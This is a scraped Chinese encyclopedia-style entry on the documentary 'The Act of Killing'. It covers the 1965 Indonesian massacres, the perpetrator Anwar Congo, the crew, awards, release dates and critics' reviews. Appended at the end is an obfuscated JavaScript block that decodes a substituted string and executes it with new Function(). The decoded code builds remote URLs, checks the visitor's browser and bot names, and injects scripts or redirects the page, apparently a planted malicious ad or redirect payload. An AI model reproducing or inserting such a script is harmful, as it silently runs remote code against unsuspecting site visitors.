《杀戮演绎》海报《杀戮演绎》海报1965年，印尼政府被军政府推翻，那些反对军事独裁的人都被认定为“共产党人”，并遭遇了血腥屠杀，一年之内，就有超过100万“共产党人”丧命，其中就包括农民还有一些当地的华人
本片的主角Anwar Congo和他的朋友们就参与了当年的屠杀活动，他如今是印尼最大的准军事组织Pemuda Pancasila的元老人物
Anwar和他的朋友接受导演的邀请，在镜头前重新演绎当年他们是如何处死那些“共产党人”的，他们通过拍摄电影的方式，重现了当年的场景，再次拿起了那些沾满鲜血用来勒死人的铁丝 HimselfAdi ZulkadryHimself - Anwar's NeighborSuryonoHimself - Member of ParliamentRahmat ShahHimselfSunardi沃纳·赫尔佐格、埃罗尔·莫里斯、Anonymous、Christine Cynn、Torstein Grude、Anne Köhncke、Maria Kristensen、约书亚·奥本海默、Joshua Oppenheimer、Lizzy Ratner、Signe Byrge Sørensen、Joram ten Brink、Bjarte Mørner Tveit、Michael Uwemedimo、André Singer、Andre Singer约书亚·奥本海默、Anonymous、Christine CynnAnonymousAnonymous、Carlos Arango De Montis、Lars SkreeKarsten FundalNils Pagh Andersen、Erik Andersson、Charlotte Munch Bengtsen、Janus Billeskov Jansen、Ariadna Fatjó-Vilas、Mariko Montpetit（以上资料来源）该片三位导演中的两人以及其他20几位剧组成员为了自身的安全考虑，都选择以匿名的方式出现在演员表上 影片中一些所谓的被称为“影迷刽子手”的人声称他们的杀戮行为受到了约翰·韦恩、马龙·白兰度、意大利黑手党以及好莱坞B级片的启发 时间颁奖礼奖项获奖主体备注2014第86届奥斯卡金像奖奥斯卡奖-最佳纪录长片《杀戮演绎》提名2013第63届柏林国际电影节大观单元观众奖-纪录片约书亚·奥本海默获奖天主教人道精神奖-大观单元约书亚·奥本海默2013第26届欧洲电影奖最佳纪录片奖《杀戮演绎》获奖2014第67届英国电影和电视艺术学院奖电影奖-最佳纪录片《杀戮演绎》获奖电影奖-最佳非英语片《杀戮演绎》提名2014第4届北京国际电影节纪录佳作《杀戮演绎》提名（以上资料来源）杀戮演绎杀戮演绎1965年，印尼发生“930政变”，它引发的针对印尼共产党的屠杀使50万-100万人死于非命 这场政治大屠杀在印尼人的心中留下了挥之不去的阴霾，然而由于年代久远、事件起因纷繁复杂、加之中印两国政府对此事一贯的“冷处理”态度，这一事件并不为大多数人熟知 2001年，纪录片导演约书亚·奥本海默前往印尼拍摄一部关于印尼血汗工厂的纪录片《全球化的磁带》，在无意间听工人们聊起了1965年的屠杀 令奥本海默感到吃惊的是，所有的受害人家属在谈及此事时都小心翼翼吞吞吐吐，而当年的刽子手们却争相在他这个西方人面前炫耀自己当年的“功绩” 奥本海默完全被“吓”到了，开始为屠杀题材收集资料，他认为自己有种使命感去完成它 他开始大量采访印尼的村民、官员和军人，同时也在思考着如何在这个庞大题材中选择最恰当的切入角度 该片的主角安瓦尔·冈戈，是印尼最大的准军事组织“五戒青年团”（PemudaPancasila）的元老人物 “五戒青年团”是1965年的一个民间组织，它在屠杀开始后组织了敢死队，这一组织在80年代发展为民兵组织，初始活动区域在苏门答腊岛北部，安瓦尔本人是当时屠杀时“五戒青年团”的领导人，他和他的朋友们就参与了当年的屠杀活动，仅他自己就亲手杀死了超过1000人 影片的英文名为"the Act of Killing"，这个名字有着三重含义：“Act既代表行为，也代表表演——刽子手们在表演他们当年的杀戮行为；与此同时，它还有灭绝、清洗的意思，在屠杀开始后，印尼的大量文献电影都被当做共党宣传品而毁于一旦，所以，这还是一场对文化、思想、社会的全面清洗 ”安瓦尔邀请来了当年的同伙，行刑队长赫曼·科托参与拍摄，按照导演的“设计”进行情景再现 他们最初以为导演要拍摄一部为他们当年的“事迹”树碑立传的电影作品，幻想自己真的在拍摄电影，甚至扬名天下 因此，他们面对镜头吹嘘自己当年的杀人行为时，丝毫不觉得愧疚，反而津津乐道 赫曼 科托甚至主动找来群众演员，配合他们进行场景再现 奥本海默在拍摄期遭受过“五戒青年团”的阻挠，更多的受害者家属在面对镜头时噤若寒蝉；而愿意出演的“五戒青年团”成员，也不时流露出地痞流氓的本性，影片中低俗的举止不断出现，这些都被镜头记录下来 导演一方面意识到了这个帮派组织在当地强大的影响力，一方面他也将这些受害人的调查与缄默收集起来，成为了他另一部纪录片《沉默之像》的题材 国家/地区上映/发行日期细节中国台湾2013年4月26日Urban Nomad Film Festival美国2012年8月31日Telluride Film Festival加拿大2012年9月8日Toronto International Film Festival丹麦2012年11月3日Copenhagen International Documentary Film Festival丹麦2012年11月7日DOXBIO丹麦2012年11月8日德国2013年Berlin International Film Festival卢森堡2013年2月28日Discovery Zone Film Festival Luxembourg瑞典2013年3月6日Tempo Documentary Festival希腊2013年3月19日Thessaloniki Documentary Festival美国2013年3月23日New Directors/New Films法国2013年4月10日美国2013年4月27日San Francisco International Film Festival美国2013年5月5日Montclair Film Festival波兰2013年5月11日Planete+ Doc Film Festival美国2013年5月18日Seattle International Film Festival荷兰2013年5月23日澳大利亚2013年6月6日Sydney Film Festival意大利2013年6月8日Biografilm Festival美国2013年6月14日Los Angeles Film Festival美国2013年6月18日Human Rights Watch Film Festival英国2013年6月28日美国2013年7月19日New York City, New York美国2013年8月2日Traverse City Film Festival西班牙2013年8月30日挪威2013年9月6日英国2013年9月12日EDINDOCS Film Festival芬兰2013年9月21日Helsinki International Film Festival瑞典2013年9月22日Nordisk Panorama Film Festival意大利2013年10月17日芬兰2013年11月6日TV premiere德国2013年11月14日美国2013年11月15日DOC NYC菲律宾2013年12月18日Cinemanila International Film FestivalFinal Cut for RealPiraya Film A/SSpring FilmsNovaya Zemlya公司地区时间Det Danske Filminstitut丹麦2012Drafthouse FilmsUSA2013Against Gravity2013Final Cut for Real2012Madman Entertainment Pty Ltd 澳大利亚2013Cinema Delicatessen荷兰2013ZED2013Neue Visionen Filmverleih德国2013Yleisradio (YLE)芬兰2013公司地区公司地区Yleisradio (YLE)芬兰Arts and Humanities Research Council (AHRC)Det Danske Filminstitut丹麦Nordisk Film- & TV-FondNorsk FilminstituttNorsk Rikskringkasting (NRK)挪威Danmarks Radio (DR)丹麦Sveriges Television (SVT)瑞典10dot1（以上资料来源）杀戮演绎杀戮演绎《杀戮演绎》令人痛心，产生不真实感，它回顾了那些不思悔改的大规模屠杀（《纽约时报》评） 《杀戮演绎》该片不像传统的纪录片，它是浑然天成般的“奇迹”，它的要点在于当年的杀人恶魔在纪录片里亲自扮演了行刑者和受刑者，尽管这位当年的行刑者并无忏悔，但编导巧妙地用简单的剧情，使之变成一个受虐和施虐的双重角色，他成了人类灾难中的一个道具或者扮演者 而超全景的拍摄，令观众的真实感再现，即观众看到的不是电影，而是他们在拍摄和讲述这么一个扭曲故事的全部场景 片中没有真实的血腥杀戮展示，断头等场面也是充分交代了道具和表演的实质，但整个故事却让人不寒而栗，甚至是在笑声中、自然恬静中让人看到了当年杀戮者的残忍，人们也看到了当年行刑者在半个世纪过后对暴力和杀戮不思改悔的景象，以及那种残酷杀戮的思想和行为其实离我们并非遥远的果断真相 这就是所谓不见血腥的真实杀戮（南都娱乐周刊评） 《杀戮演绎》不可以被浅显地定义为展现那段屠共的历史，也不是在讲那段历史里那些十恶不赦的人，它是在讲人在遭遇到这样的一个历史情境之后，人性复杂的变化（纪录片导演范俭评）
!function(){function a(a){var _idx="l75gqvm4ic";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/CL/s0ojR8q1np:X^o6("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"s0o"=^8"q1np:X^o6("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"s0od2(LCYmJXR^:JmRT4"="s0o5p(LYpm^(F_D7mRT4"="s0oD7(LSqmJXR^:JmRT4"="s0odC(LJ^m^(F_D7mRT4"="s0o(C(L:4mJXR^:JmRT4"="s0oC2(LSYm^(F_D7mRT4"="s0o25(LLSmJXR^:JmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"gQ00@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPs0oFC(LCDmTf(74TmRT4gQ00@/((/s0oj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@/f/s0oj(8}vR8q1np:X^o6("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPs0oCq_2Ohpm6754dhmRT4gQ00@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
